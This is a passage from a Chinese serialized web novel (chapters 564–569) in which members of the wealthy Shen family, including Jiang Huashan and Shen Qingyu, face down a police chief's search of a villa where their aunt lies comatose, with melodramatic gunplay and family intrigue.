刚出住院楼,一道身影突然窜跟前,沈清予反应极快,一把抓住来人的胳膊精准锁喉。 男人顿觉呼吸困难,双手抓着沈清予的手腕艰涩求饶,“少……少爷,老……爷子……” 沈家的人? 沈清予一把甩开男人,漫不经心转动手腕,“谁让你跟着我的?” 男人缓了口气,“老爷子担心顾家有变故特意让我跟着少爷。” 沈清予摆摆手,“能有什么变故,回去吧。” “少爷,沈家出事了。” 沈清予皱眉,依旧一副不上心的模样,“有老头儿在,沈家能出什么事?” 男人,“姜小姐在政府广场煽动群众闹事,现场烧了一辆车。” 沈清予愣了愣,“你说谁?” “姜小姐。”男人满脸愁容,“另外,我们接到情报,有人报案说幺小姐在未央台私宅聚众淫毒,警署厅和两位先生已经赶过去了。” “你们都是死人了,这么大的事现在才说。”沈清予脸色铁青,转头冲出花廊。 男人连忙跟上,一脸无奈,“住院部被顾家封锁了,我们说要见您顾家人不让。” 沈清予身形微顿,噙着戾气的眸光略有几分迟疑,“说清楚,是顾家底下的人不让,还是顾家不让?” “是顾家。”男人斩钉截铁,“姜小姐的事都已经登上鲸港时政头条,全鲸港没有人不知道。我们去了好几次,但顾家的回复都是您现在没空。” 沈清予沉默片刻,直接转开话题,“老爷子呢?有他老人家坐镇怎么会发生这种事?” “老爷子现在不在鲸港,他在襄英。不仅老爷子,兰晞少爷、沈四先生、五爷都在襄英。” “襄英?”沈清予脸色愈发凝重,一定是他在医院这段时间发生了什么事? 男人点头,“少爷,老爷子说……” 沈清予眯眼,“说什么?” 男人闭眼,“说您要是没死就给他回个电话。” “……”沈清予沉默着从口袋里掏出手机,果不其然关机了,当初他出门急,什么都没准备,半格电池一天一夜早就耗尽了。 男人看出他的窘迫,颤巍巍递上自己的手机,“少爷请用。” 沈清予接过手机,拨通了沈庄的私人电话。 “嘟——” 电话很快接通。 “终于出来了。”沈兰晞的声音冷得没有任何起伏。 沈清予冷哼了一声,“怎么是你?” 沈兰晞充耳不闻,自顾自说,“你现在立刻马上去未央台,该怎么做不用我教了?” “嗤!”沈清予正要回嘴,忽然想到什么,略有迟疑,“小花儿……” 沈兰晞,“爷爷已经启用天眼追踪,只要锁定沈家暗堂会护她周全。” 沈清予皱眉,“你们呢?” 沈兰晞,“我也会。” 话落,电话被挂断了。 “傻逼……”沈清予冷着脸,一副不满安排的模样。 男人假装失聪,小心翼翼,“清予少爷,我们快走吧,再不走就来不及了。” “清予!” 两人刚转身,便听见身后传来一声叫唤,沈清予侧头,恰巧看见顾彦神色匆匆从住院部大厅跑了出来。 “清予。”他径直跑来,气喘吁吁,“奶奶,奶奶她又说心绞痛,非闹着要你过去。” 沈清予看着顾彦,短暂沉默后冷声道,“告诉婆婆,我没空,我有更重要的事要做。” 说罢,也不管顾彦是什么表情,转身离开。 “……” * 入港高速路口。 沈兰晞把电话扔给郑松,顺手从高止手里接过一顶黑色的头盔。 “兰晞。”车窗玻璃慢慢落下,沈庄露出半张脸,“小心点。” 沈兰晞点头,垂眸戴上头盔,路口两辆碳纤维车架流淌着液态金属般的光泽,他随意选了一辆抬脚坐了上去。 高止抱着头盔上前提醒,“少爷,鲸港的交通已经大面积瘫痪,若想以最快的速度赶到未央台,就只能换交通工具了。但小路路况不明,您到时候到时候记得跟我在我身后。 沈兰晞固定好手套。双手扭动油门,引擎轰鸣,眨眼人就不见了。 “……”高止吸了一车尾气,抬手准备击毙沈兰晞,忽然想起沈家老爷子还在一旁看着,立马比了个OK的手势,“老爷子您放心,我一定会保护好少爷的。” 沈庄捏了捏眉心,“快追。” * 与此同时,未央台。 局势一触即发。 沈谦见状,神色阴沉,放声怒吼,“沈眠枝,你知不知道你这是在做什么?” 两年前姜花衫不过一人持枪就搅得沈家不得安宁,眼下一群人对着公职人员举枪,这是要把沈家推入万劫不复的境地? 周元白先是错愕,随即放声大笑起来,“沈家好本事啊?我看看,123……这枪械都数不清了,这次要治个贩卖军火的罪名应该百口莫辩了吧?是不是啊?沈议员长?” 沈谦脸色铁青,“沈眠枝,让他们退下。” 沈眠枝充耳不闻,颇有耐心解释,“周厅长误会了,我刚刚已经说的很清楚了,这不是沈家的意思,是我沈眠枝的意思。” 沈渊,“什么你的意思?这些暗堂的人难道不是沈家的人吗?枝枝,你爷爷许你入暗堂不是让你利用暗堂胡作非为的。之前我们也是看向你们还小的份上才不与你们计较的,你要再这么胡搅蛮缠,别怪二伯对你不客气了!” 沈眠枝转头看向沈渊,一双水灵灵的小鹿眼看着纯洁无害,“二伯,我都说了,这是我自己的意思,所以这些人也是我自己的人。” “大言不惭。”沈谦耐心售罄,转头看向身后的西装暴徒,“你们是哪个分堂的?马上给我滚出去。” 硬汉们全然没有反应,站在原地一动不动。 沈谦从来没有这么丢脸过,气得连一贯维持的风度都忘了,“听见没有,我让你们滚出去。” “大伯,你别为难他们的。”相较沈谦的气急败坏,沈眠枝显得从容得多,“告诉他们,你们叫我什么?” 屋里两百人异口同声。“大小姐!” 不是沈小姐,也不是眠枝小姐,而是身份尊贵的大小姐。 …… 第564章 玩具枪也禁吗? 暴徒们自丹田而起的怒吼几乎掀翻了头上的屋顶,沈谦和沈渊彻底变了脸色,阴晴不定打量着沈眠枝。 谁能想到,当初那个软弱可欺、同情心泛滥的女孩儿竟然成长到了如此地步。 今天要不有没有搜查令,这屋子看来是搜不了了。 “好!好!初生牛犊不怕虎,既然你们要玩,我就陪你们玩。”周元白连连冷笑,转身看向身边的警署员,“将现场材料发回总部,请求武装支援。” “周元白!”沈谦好似有发不完的火,转头怒视周元白,“武装支援?你是想把这夷为平地吗?” 一旦国防部出动,这件事的定性就完全不一样了,到时候不管是沈家还是他都会受到牵连。 周元白甩袖坐回客厅,“我也是按规矩办事,议员长您今天是公休,这件事就不劳您费心了。” 沈谦原本还想阻止,忽然想到什么,略有深意看了沈渊一眼。 沈渊会议,故作无意凑近沈谦,沈谦捂着嘴,小声说道,“事情闹到这步已经不好收场,今天这未央台是搜定了。” 沈渊皱眉,“那怎么办?” “好办,借刀杀人。”沈谦眸底闪过怨毒,“周元白一定不会善罢甘休,若是让他看见沈娇现在这副模样,一定会让国防部把人带走。我们正好趁着这个机会送沈娇一程,如此,就算以后查出来,沈娇的死也怪不到我们头上。” 沈渊眸底微亮,这倒是个好主意,这么说周元白歪打误着还帮了他们一把? 有了对策,沈谦心境豁然开朗,两人重入主厅,一时间三方势力形成制衡。 * 与此同时。 十字路口前,红绿灯来回切换。 沈亦杰红着眼,碎裂镜片将所有成像割裂成一瓣一瓣的碎片,Z目之所及正好印证了沈亦杰此时的内心,他恨不得将眼前的万恶之人千刀万剐。 姜花衫知道他在想什么,但她并不害怕,甚至还故意扬起手指指着不断移动的钟表。 “时间宝贵,你是要留下来继续杀我,还是赶回去救你的同伴呢?” 在这多耗一分钟,都是在跟死神博弈。 沈亦杰抱着渐渐失温的身体,身体止不住颤抖,他恨不能活刮了姜花衫,但他不敢赌。 片刻后,他拔出藏在靴子里的匕首,胳膊一甩匕首精准无比扎破了小电动的轮胎。 想赶回去救沈娇?痴人说梦。既然要跟死神赛跑,那就看看谁的手段更厉害。 姜花衫扬起的嘴角瞬间凝固。 沈亦杰冷冷看了她一眼,用绑带捆住沈亦泽的身体,驾车飞驰而去。 眼看着凶手彻底消失在道路尽头,姜花衫这才放心从绿化带跳了出来。她快步奔跑,路过电动小毛驴的时候丝毫没有停顿,顺势拔出了卡在橡胶轮胎上的匕首后继续往前跑,直到靠近那台如同野兽的酷炫机车。 钥匙还在,引擎也没有关。 天助我也! 姜花衫蹲身,捡起掉落的蕾丝草帽,手扶转向盘,裙摆撩起,在空中划过一道优美的弧。 油门轰鸣,换个装备继续赶路。 * 第565章 赶到 玩具枪? 在场众人都傻眼了。 张柯看了沈眠枝一眼,转身走到某个黑衣保镖面前,不等他开口,保镖立马递上手里两把枪。 军人长期与枪为伍,上手便知真假,手里两只枪虽然外形与真枪无异,但重量却轻了一倍。 张柯不语,又随机抽查了一人,结果与之前一致。 此时,他心中已经有了答案,回头示意随行的特警,“把他们的枪都收缴了一一查验,看是否有遗漏。” 这话已经很明显了,的确是假枪。 周元白只觉被人狠狠抽了一耳光,怒不可遏瞪向沈眠枝,“你耍我?” 沈眠枝态度谦逊,“周厅长言重了,城堡法明文规定,房主在住宅内可使用合理武力,我认为玩具枪足以起到威吓作用,所以才在您面前班门弄斧了。” “……”周元白气得直喘粗气,他竟然被一个小辈用几百支玩具枪吓住了,简直是平生耻辱。 近朱者赤近墨者黑,沈眠枝这不要脸的手段肯定是姜花衫教的,沈谦和沈渊默默对视了一眼,不约而同想到某人。 沈眠枝见周元白不搭理自己,又好声好气看向张柯,“这位警官,拿玩具枪算犯法吗?” 张柯看了周元白一眼,轻咳了一声,“不算,不过你带着这么多人,恐有涉黑嫌疑。” 周元白顿时眼前一亮,对啊!持枪抓不了,就告他们涉黑,反正沈家本来也不干净。” 沈眠枝,“张上校说笑了,他们是我的保镖,我们走的是合法的劳务合同,税务也按时缴清,哪来的涉黑嫌疑?” 劳务合同? 这下连沈谦和沈渊都愣住了。 沈眠枝,“我开了一家保镖公司,他们是我的员工,今天第一天到雇主家上班遇见有人无搜查令擅闯,至于后面的事都是误会,那是他们职责所在。” “保镖公司?”沈渊一脸震惊,“你开的?你?” 沈眠枝,“是。” 沈渊神情隐晦看,他在商道这么多年,自然知道沈眠枝这个公司开的有多妙,她一个主意瞬间可以把黑产洗白,所以才难以置信。 周元白气得牙痒痒,这死丫头,怎么滑的跟泥鳅一样,照这么看还真会被她糊弄过去。 沈谦神色淡淡,“事情已经说的很清楚了,既然是误会解释清楚就行了,剩下的事你们按流程办,我沈家也不会拦着。” * 此时,卧室里的傅绥尔眼瞳微缩,眸底的碎光倒映着掌心里一块极小的记忆芯片。 真的有东西! 傅绥尔忍着酸涩,悲痛万分看着陷入昏迷的沈娇,眼下没有记忆卡,读取不了芯片的内容,所以一时也分辨不了这个东西是母亲的还是有人藏进去的。 但不管是谁的,这东西决不能落在外面那群人手里。。 楼下的动静愈演愈烈,她犹豫片刻,将记忆卡藏进了内衣里,国防部的人都出动了,枝枝撑不住了,那群人上来一定会满世界搜索,所以相对而言藏在身上最安全。 她不是没有想过销毁芯片,但若这真是凶手留下的东西,这就是珍贵的线索。 傅绥尔拍了拍胸口,低头贴着沈娇的额头,“妈妈,累了你就睡会儿,但是不要睡过头哦。” * 主厅里,转圜了半天周元白这才反应过来,指着二楼,“搜!” 沈眠枝往后退了一步,略有些担忧看向楼上的方向。 也不知道绥尔准备好了没有。 “不许搜!” 这个声音…… 沈眠枝眸光微亮,转身看向大门。 一道身影逆光而来,她提着裙摆,像振动翅膀的蝴蝶。 主卧里,傅绥尔闭眼,温热的泪珠顺着脸颊缓缓落下,“妈妈,姐姐来了。” 怎么又来一个? 还没等周元白反应过来,少女毫无预兆抬腿,一脚把沈渊踹倒后直接闪现挡在沈眠枝面前。 “……”沈谦只感觉后背刮起一阵风,再抬眼,面前站着一个好大的祸坨子。 “你又是谁?”周元白眼皮直跳,沈家这是搞什么?来了一个又一个,没完没了? “姜花衫!”沈渊捂着发麻的屁股狼狈起身,“你敢踹我?” 姜花衫瘪了瘪嘴,“对不住啊,我远远看着以为是一群人欺负枝枝,没认出是您。” 沈谦知道她人来疯的性子,本着能不遇上就不遇上的原则,轻轻拍了拍沈渊的肩膀,用眼神暗示,姜花衫是老爷子的心头宝,得罪了她以后只有穿不完的小鞋,交给姓周的处理。 沈渊闭眼,咬着牙吞下了这口恶气。 “你就是姜花衫?” 鲸港嫡公主的名声周元白也有所耳闻,但真正印象深刻的还是她今天在政府广场烧车造反。 姜花衫点头,没等周元白开口,她指着张柯,“你哪个部门的?” 张柯皱眉,原不想回答,但碍于沈家还是不敢不答,“警卫队总队长张柯。” “警卫队?”姜花衫皱眉,“警卫队隶属国防,是城市危机公关的预备役,这里是私宅,你们为什么会出现在这?你们这是在浪费国家资源。” 张柯愣了愣,下意识看向周元白。 怎么又要解释,周元白感觉口水都干了,冷着脸,“此前屋里发生械斗,是我向国防部申请的调令。” “械斗?” 姜花衫抬眼看了一圈,“械呢?斗呢?” 沈眠枝立马把方才玩具枪的事说了一遍。 周元白实在不想再回忆那不堪的往事,摆摆手,“你们……” “你!”姜花衫接过他的话,手点着张柯,“国防部给你的任务是镇压威胁公职人员的黑势力,但既然已经澄清事实,你的任务就已经完成了。警卫处的是战军预备役,不是警署厅的看门狗,警署厅办案你们警卫处帮着搜屋,怎么?这双手拿不了枪想改拿警棍了?” 张柯脸色微变,权衡之下立马行军礼告辞。 周元白怔然,颇有些诧异打量姜花衫,打蛇打七寸,她三言两语就抓住了警卫处和警署厅的制衡关系,再说下去,张柯就有渎职滥用私权的嫌疑,当然避之不及。 不过,谁教她的制衡述职之道?小小年纪,怎么把名利关系看得这么透彻? 周元白收起十二万分小心,轻咳了一声,“警卫处搜不了,我警署厅总可以吧?来!给我搜!” “不行!” 周元白,“你们还想拦着?” 姜花衫摇头,“可以搜,但流程要变一下。” …… 第566章 女王的王冠不能掉 变一下? 变什么? 周元白一脸防备,“你们一直拖延时间,该不会楼上藏着什么见不得人的秘密吧?” 说者无心,听者有意。 沈谦皱眉,抬眸四下环顾,傅绥尔一直在楼上没有下来,沈眠枝的态度也很奇怪,他顿时眸底闪过一抹幽光,她们在拖延时间,难不成是老爷子要回来了? 如果老爷子回来了,沈娇就杀不了了,但他和三房已经撕破脸了,若是让沈娇活过来,以她的性子定然会二房脱层皮。 不行! 机会难得,沈娇今天必须死。 念此,他故作大度,“我沈家行得正坐得端,不畏惧你们这些牛鬼蛇神,你可以搜,但若搜不出什么?你就等着国会的制裁函吧?!” 这话看似威胁,但其实就是默许了周元白的搜查行为。 搜不出等制裁函,但若搜出什么呢?沈家岂不万劫不复? 周元白士气大振,正准备大干一场,姜花衫直接倒灌了泼了一盆冷水。 “你们两个有病吧?两个外人凭什么替当事人作主?”姜花衫斜睨打量沈谦,“你才是沈家的牛鬼蛇神吧?” 沈谦脸色阴沉,“姜花衫!” 沈渊早就记恨那一脚之仇,趁机指着她怒斥,“在沈家,你才是那个外人,恬不知耻!” 沈眠枝动怒,上前准备想替姜花衫说话却被她拦了回去。 “不用管他们。”说罢转头看向周元白,“检察院和未央台警署分局马上就到,等他们来了自有分晓。” 三人脸色微变,怎么还有检察院的事? 沈谦忽然有种不好的预感,之前姜花衫就曾不止一次化险为夷,难不成这次她又能力挽狂澜。 沈渊跟他想到一块了,低头交耳,“决不能让她们等到检查院的人,绥尔现在还没露面,这里面肯定有猫腻。” 沈谦不动声色点头,看了周元白一眼,故作愤慨,“我好心守在这,却被你们当贼一样防备,既然你们已经有了筹算,也不劳我操心了,” 话都说到这个份上了,周元白还有什么不懂的?之前他还担心沈家人演戏给他下套,现在看来倒是他多虑了。 沈家人要等检察院一定有所企图,越是这样,越不能叫她们得逞。 周元白转身,朝身后的警员使了个眼色。 警员会意,突然拔枪对着二楼方向,“什么人!”话落,直接对着二楼方向开了一枪。 “砰——” 一声巨响,拉响了在座所有人心中的警铃。 周元白指着二楼方向,“刚刚有个拿枪的人影从上面跑过去了,快追!” “无耻!” 沈眠枝正要上前阻拦,姜花衫直接把她拽了回来。 “没用的。” 真理只在强权之下,周元白就是看准了他们不用用枪,所以才想出这种下三滥的手法。 沈眠枝不甘心,紧紧抓着她的手腕,“我还藏了三百人,他们各个都是真枪实弹。” 姜花衫摇头。 沈娇的局一共有两层。 第一层关乎生命,第二层关乎名誉。 她之所以让沈眠枝守着二楼,就是因为一旦开始搜查,就会有源源不断的脏水,就像上一世一样,曾经最不可一世的沈家嫡小姐,死的时候也没能摆脱淫乱放荡的标签,人们每次谈论起她,都会用最不屑的神情嬉笑一句,“她呀,脏的勒!死了活该。” 所以,她要救的不仅仅是沈娇的命,更是她骄傲了一辈子的自尊。 姜花衫垂眸,目光随意落在被长袖遮住的手掌。 来之前,她已经重新装满了子弹,一共二十七发,现场还不到二十七个人,把他们杀完女王的王冠就保住了。 她正要抬手,沈眠枝察觉到什么,脸色惊变,一把拉住她的袖摆,“衫衫,你冷静点。” 姜花衫面无表情扯过袖摆。 “我现在很冷静。” 机会难得,先杀沈谦。 她慢慢抬起胳膊。 “砰——” 一声枪响,子弹穿过气流撞上了主厅的水晶灯,吊绳断裂,水晶灯从六米高的穹顶直接砸向地面,又是一声巨响,水晶炸裂向四周飞溅,气浪涌动,姜花衫眯了眯眼慢慢收了回手。 “谁!” 周元白惊魂未定看着被压在水晶灯下的同事,好险,要不是他反应快下场就跟他们一样了。 “你爷爷。” 沈渊太阳穴跳了跳,强捂着心脏起身。 沈清予大摇大摆进屋,勾着手枪打了个花转,忽然想到什么,拉枪上膛对准周元白,“军政学府课外执行任务期间允许佩戴手枪防身,所以,这不是违法枪械。” “清予!” 周元白不是普通人,要杀也不能这么明目张胆,否则沈清予这辈子都不可能走仕途。 沈渊张开手挡在周元白面前,“把枪放下。” 沈清予举枪往旁边指了指,“滚。” 沈渊知道他的性子,生怕为了跟自己作对做出什么傻事来,连忙向姜花衫求助,“衫衫,你劝劝他。” 姜花衫白了沈渊一眼,指着周元白,“沈清予,打死他,以后我们一辈子联盟。” 沈清予看了她一眼,偏头瞄准。 这个歪头杀直接把周元白吓杀了,直接瘫软在地。 “姜、花、衫!”沈渊气得差点灵魂出窍,生怕沈清予被蛊惑,大喊,“清予,你别听她的,她就没安好心。你听爸的,把枪放下。” “砰——” 沈清予直接按下扳机,子弹精准穿过沈渊的耳侧击碎了周元白脚下的水晶残片。 “啊啊!” 周元白吓的抱头鼠窜。 “清予!”沈谦看不下去,“你……” 沈清予调转枪头,对准沈谦。 “……”沈谦立马收声。 沈渊气得恨不得当场去世,“逆子,你是不是知不知道你在做什么?” 沈清予再次扣下扳机,这次子弹没有偏移,正中沈渊的肩骨。 “我知道。” …… 第567章 气死爹了! 子弹穿过血肉的瞬间,在场所有都愣住了。 就连姜花衫都没想到沈清予竟然能如此决绝。 沈渊有些反应不过来,低头看了看肩膀的伤口,又抬头看了看面前沈清予。 “你知道?你知道什么?!“他的眼眶瞬间充满血色,死死抓着肩上的伤口朝沈清予怒吼,“你……” “咔嚓——” 沈清予拉枪上膛再次瞄准,这次对准的是沈渊的左肩。 他暂时不会弑父,但其他的就保证不了的。 “……”知子莫若父,沈渊当即闭嘴。 沈谦万万没想到,事情发展到最后竟然是二房的人自己搬石头砸自己的脚,眼看事情不可控,他权衡片刻转头看向姜花衫,“事情闹成这样你们打算怎么收场?” 姜花衫,“这跟大伯你没有关系?” “没关系?沈家人同气连枝,一荣俱荣一损俱损,你先挑动枝枝与公职人员冲突,后又蛊惑清予开枪射杀亲父,姜花衫,你到底安得什么心?” 周元白双手抱头蹲在沙发一角,略有深意看了沈谦一眼。 不愧是常年浸淫在名利场的老狐狸,未央台出现枪声这件事必不会善了,沈清予二房的人,真清算起来沈谦自己也会受到牵连,老狐狸现在就开始找替罪羊了。 姜花衫皱眉,上下打量沈谦没有接话。 沈眠枝看不惯沈谦的伎俩,张口想替姜花衫说话,姜花衫无所谓耸了耸肩,“别理他,嘴巴长在他身上,随他怎么说,反正他在沈家没什么地位,说什么都不管用。” “……”这话像是踩中了沈谦阴暗的小尾巴,他瞬间暴怒,“你还有脸说?沈娇吸食毒品过量现在躺在那一动不动,你要真有心就应该赶紧让我送去医院治疗。你倒好,仗着三房几个小辈的信任,三番四次阻扰送医。姜花衫,你到底藏了什么祸心?!” “沈谦!”姜花衫从未有一刻如此失态过,甚至忘记了伪装直呼沈谦的名讳,“你到底在胡说八道什么?” 沈清予怔愣,他原本以为沈娇是被二房布了局,陷在其中出不来,但怎么都没想到她现在已经危在旦夕。 他难以置信看着姜花衫,这才发现她脸上多了几条不起眼的划痕,飘逸的真丝裙摆也被勾破了丝。 沈清予越看越细,目光流转在袖摆时,深邃的眸底闪过一丝弧光。 “吸毒?!”周元白直接惊呼了出来,指着二楼方向,“我说你们怎么那么多事?原来是藏了个毒贩。”说罢转头看向沈清予,“你们沈家都自爆了,现在你总没有阻拦我的理由了吧?警署厅有权向军政学院借调学生执行任务,沈清予,你被征用了。” 沈清予皱眉,抬手对着周元白扣下扳机。 “砰——” 血水飞溅。 这次不是空枪,子弹正中周元白的大腿。 “啊!!!” 周元白痛地嘶惨叫,“沈清予,你敢开枪打我?!” 沈清予面不改色,抬头瞄准另外一只腿。 “你不能杀我!杀了我,就算是沈家也收不了场。”周元白胆囊差点吓破,抱着伤口往后爬。 “清予!” 沈渊和沈谦脸色大变。 周元白不仅是鲸港总警署厅厅长,背后更是整个周家,这一枪要真出了人命,沈清予的前途算是彻底止步了,沈渊不敢大意,顾不得肩上的上直接上前抢枪。 沈谦见拦不住,索性豁了出去,怒斥道:“清予,你想清楚,你这一枪开下去你还拿什么跟兰晞比?你忘记爷爷的教导了?” 沈清予眸光微暗,电光火石间抬眸看向姜花衫。 姜花衫此刻已经冷静了下来,对着他几乎不可察摇了摇头。 沈玺死后,沈家直接丧失了在军区的绝对统治权,沈谦虽然是国会议员长,但在政权上受总统和法院制衡并非一家独大,沈兰晞还未把控军权,这个时候也周家撕咬起来,就算沈家赢了也一定会元气大伤。 她想保住沈娇体面不假,但若是以毁了沈清予为代价,她还做不到。 沈清予收了枪,一把推开沈渊,大步走到姜花衫跟前,“姑姑在哪?” 姜花衫指尖朝上,“二楼。” “我送她去医院。” 他刚抬步,却被姜花衫拉住了手腕。 沈清予以为她在担心,小声安慰,“放心,我一定会把姑姑安全送去医院。” 姜花衫摇头,沉默片刻抬眸对上他炽热的目光,“你也不能上去。” 沈清予愣了愣,眼里带着几分不确定,“什么意思?你连我也不相信?” 他何等聪明,她话说的这么明显又怎么会真的不懂,那几分不确定不过是自己内心的侥幸而已。 见姜花衫不说话,他笑了笑,他不知道自己在笑什么,便又指着沈渊。 “这都不信?” 沈渊刚因为沈清予收枪松了一口气,又因为这一指彻底崩溃。 什么意思???? 杀爹证道?!!! 臭小子上来就给他一枪就是为了证明他跟二房没有勾结? 但这还不是最让沈渊生气的,他最生气的是,他儿子这么舔,姜花衫竟然还把他拒之门外?! 真实…… 真是气死爹了! …… 第568章 怎么还没处理干净? 南湾。 香山园林出现重大火灾,火势足足烧了一天才被控制住。 沈归灵一夜没睡,亲眼见证了郁郁葱葱的山脉变成了草木灰烬,千里墓碑变成了残垣断壁,这里面也包括舒沐。 “少爷。” 山脚到处都是灰烬,莫然撑着伞站在沈归灵身后,“舒小姐……” 沈归灵早就猜到是这个结果,他之所以在这守着,不过是想让自己多感受一下这种永远失去的感觉,只有记住这种感觉,他以后才不会再犯同样的错,因为他仅剩的筹码已经输不起了。 “回南湾。” 莫然点头,主动拉开车门。 “少爷,您一天没有吃东西,我准备了点吃的,您要是实在吃不进就先在车里睡会儿。” 沈归灵点头,但实际上,他一点睡意都没有。 他现在极度没有安全感,与大火对峙的深夜里,他脑海中浮现过很多念头,有恶、有憎、有厌,所以他迫切地想要去看看光。 “少爷!少爷!!!” 沈归灵刚坐上车,耳边忽然传来一道熟悉的声音。 没等他反应过来,一道黑影突然窜到眼前,直接蹬走了莫然。 “少爷!!!”下一秒,车窗玻璃的另一面印着某张敦厚老实的憨憨脸。 “少爷!少爷!”车窗贴了防窥膜,从外面看不清里面的情况,雷行趴在车门上,不断敲打玻璃,“少爷,你在里面吗?少爷!!” “……”沈归灵沉默了片刻,按下车窗。 玻璃贴着雷行的脸缓缓下滑。 “少爷!”雷行捂着被刮红的侧脸,喜出望外,“少爷,我终于找到您了。” 莫然扶着腰起身,脸上挂着虚笑,“雷管事?你不是在沈园吗?怎么跑到这来了?” 雷行脸色瞬间冷了下来,抬手指着莫然,“少爷,您别再相信这个女人了,她不是好人!鲸港出大事了,她却瞒着您不报,分明是居心不良。 ” 莫然脸上的笑容瞬间凝固。 沈归灵,“出什么事了?” 雷行,“姜小姐今天大清早就回沈园了,她像疯了一样在满世界找人,不巧老爷子带着兰晞少爷和两位先生回襄英了,姜小姐后来一个人出了园。” 沈归灵脸色微变,“姜花衫回鲸港了?” 他忽然意识到自己可能犯了一个天大的错误,立马从口袋里掏出手机查看。 雷行不懂察言观色,一点缓冲的时间都不给,继续说道:“鲸港民众因为周宴珩在南湾高架飙车一事在政府楼前示威游行,姜小姐不知什么原因也加入了游行,她还当众烧了清予少爷的车变成了示威头头。现在政府调查员正在抓她。” 沈归灵眸色闪过些许慌乱。 没有信号…… 他抬眸望向萧瑟的山顶,是了,这场大火把附近的信号线一并烧毁了,他当时沉浸在永远失去舒沐的悲痛中,所以根本没有留意。 但这也不应该啊…… 他抬眸,还没开口,莫然一把推开雷行,拿出自己的所有通讯设备。 “少爷,我的确发现山下的信号被切断了,但我已经用特殊手段与外界建立了联系,但是我的信号网里并没有雷行刚刚说的那些事。” 雷行,“你还装。我看你分明就是故意的。” “别吵了。上车。” 莫然和雷行立马收敛,一前一后绕过车身同时拉住驾驶位的车门。 “让雷行开车。” 沈归灵低头,指尖在屏幕上点了点,手机立马切换到了另一个系统。 莫然默默看了他一眼,主动绕回了副驾驶。 雷行一脸得意,“少爷您放心,我保证一个小时内开回鲸港。” 沈归灵用手机打开所有局域网,目光死死看着屏幕。 “三十分钟。” “啊……这?” 原本两个小时的车程缩短一半已经是极限了,现在直接缩到四分之一,这不是强人所难吗? 沈归灵,“做不到就换莫然来。” 话音刚落,黑色的轿车就撞上了火箭推进装置,嗖得一下窜了出去。 * 第569章 大房的气度 这就是为什么姜花衫要等沈兰晞的原因。 他的沈家内定的继承人,自小受到的教育一定是以家族为重,二房三房各有心思,唯有沈兰晞能做到以大局为重,而且,也只有他能凭身份地位碾压这些所谓的叔伯。 沈谦脸色微变,“兰晞,你这是什么意思?此前我们来的时候房间里乌烟瘴气都是些上不了台面的东西,警署厅的人还当场搜出了海洛因,这件事都已经惊动了国防部,不是我们能够左右的。” 沈兰晞,“事实如此,何须左右?” 沈谦被咽了一下,“可……现场……” 沈兰晞转过身,神色冷沉,“大伯久居官场若连这点局势都看不破,不如把机会让给年轻人,沈家举力将大伯送上高位为得是什么?您若连这点觉悟都没有,家族里有的是人代替。” 沈眠枝默默瞟了一眼沈兰晞,低头抿嘴笑了笑。 果然,要治这些魑魅魍魉还得是正房。 沈谦脸色铁青,张口想骂忽然想起对方的身份,又生生忍了回去。 沈渊看不下去,捂着肩膀替兄争辩,“兰晞,我们好歹是你的长辈,你就这么跟我们说话。三房闹出这么大的事,你不说她们,反而责怪起我们这些叔伯来是什么道理?” “闹出什么事?”沈兰晞神情淡淡。 “她们……”沈渊欲言又止,吸毒两个字是万万不敢再说了。 因为沈兰晞的态度已经很明显了,他不仅要保沈娇的命还要保沈娇的脸,也就是不管沈娇是真吸还是假吸,沈家的态度都一定是粉饰太平,谁这个时候跳出来唱反调,就是与家族利益违背。 沈兰晞的身份与众不同,不同于其他三代的小辈,从某种程度来说他就代表了家族立场。 见两人不语,沈兰晞眼里的寒意愈冷,“修身齐家治国平天下,敢问两位叔伯修到第几层了?身不正,家不宁,大厦终将倾覆,大伯不要忘了,并非是你有能力才坐上了议员长,而是因为你是沈家人。” 沈谦被训得措不及防,抬眸与沈兰晞对上是竟有几分垂垂老矣的朽木之感。 他勉强稳住心神,与沈兰晞对峙,“你这是在教训我?” 沈兰晞,“并非教训,若要授教刚才就让叔伯跪着听训了,不过是出于好意提醒两位罢了。” 如沈家这样的世家,族规有时甚至高于法规,沈兰晞是沈庄亲自认下的继承人,也就是沈氏家族的少族长,沈谦虽然是长辈,但有族规压着,始终低沈兰晞一头。 从前,沈兰晞从未在长辈面前摆谱,以至于大家都忘了他还有这么一层地位。 沈谦和沈渊脸色讪讪,虽有不甘却又无可奈何。 沈兰晞转身,目光落在姜花衫脸上时冰雪自动融化,“还有补充吗?” 换句话说,还有什么想骂的吗? 他的教养摆在那,不可能骂出太粗鄙的话,说来说去都是大道理,但给姜花衫出出气也是好的。 姜花衫愣了愣,摆摆手,“别把他们骂爽了,先上去。” 沈谦、沈渊,“……” 比起沈兰晞这种当众给难看,姜花衫这种踩了一脚再无视的才最可恨! 傅绥尔在卧室里一直关注着楼下的动静,听见姜花衫上楼,立马开门冲了出来,二话不说抱着她。 姜花衫心头一暖,轻轻拍了拍她的肩膀,“别怕,我们一定可以的。” 傅绥尔点头,转身看向沈兰晞,“兰晞哥,拜托你了。” 能把她母亲害成这样,一定是母亲不设防的人,也就是沈家人。她不信沈兰晞,但她相信姜花衫,既然沈兰晞是姜花衫选中的人她愿意把母亲交给他。 沈兰晞点头,回头看了高止一眼,高止立马带着灰鹰进了房间。 为免泄露太多,其他人都站在房间外等着。 没一会儿,高止领着人将沈娇抬了出来。 沈娇的脸色苍白,若是单从气色看已经完全没有了生机。 沈兰晞和沈清予没想到事情竟然比想象的更严重,脸色不由沉重了几分。 反倒是沈谦和沈渊见状,心情莫名转好。 沈兰晞,“我已经安排好了医院,飞机就在外面,我们现在过去。” 姜花衫点头,紧紧握住傅绥尔的手,“别怕。” 现在剧目还没有报幕,也就是沈娇并未确定死亡,只要还有一线希望,事情就还有转机。 别墅前坪停着三架飞机,沈渊和沈谦站在建筑外目送着小辈们离开。 等飞机飞远,沈谦压制的杀意终于忍不住爆发了出来。 “沈兰晞!竖子……” 还没等他骂出来,院外忽然来了三辆绿色军皮卡车,每辆车子的前顶都挂着一面红色的番旗。 沈谦和沈渊再次被震慑住了。 313国军部队?! 车门轰然推开,清一色穿着迷彩作战服的军官从车上跳了下来。国军部队不同于预备役,他们常年与战争为伍,身上自带凛人的杀气。 那些人好似没看见沈谦和沈渊一般,绕过两人将整栋别墅团团围了起来。 “你们这是干什么?”沈谦满脸不解。 为首的士官目视前方,势气骇人,“奉师长令,为国士家属镇守家宅。” 国士? 只有为国捐躯,评为特等功的烈士才能被追封为国士,原以为是老爷子出手了,没想到还是沈兰晞。 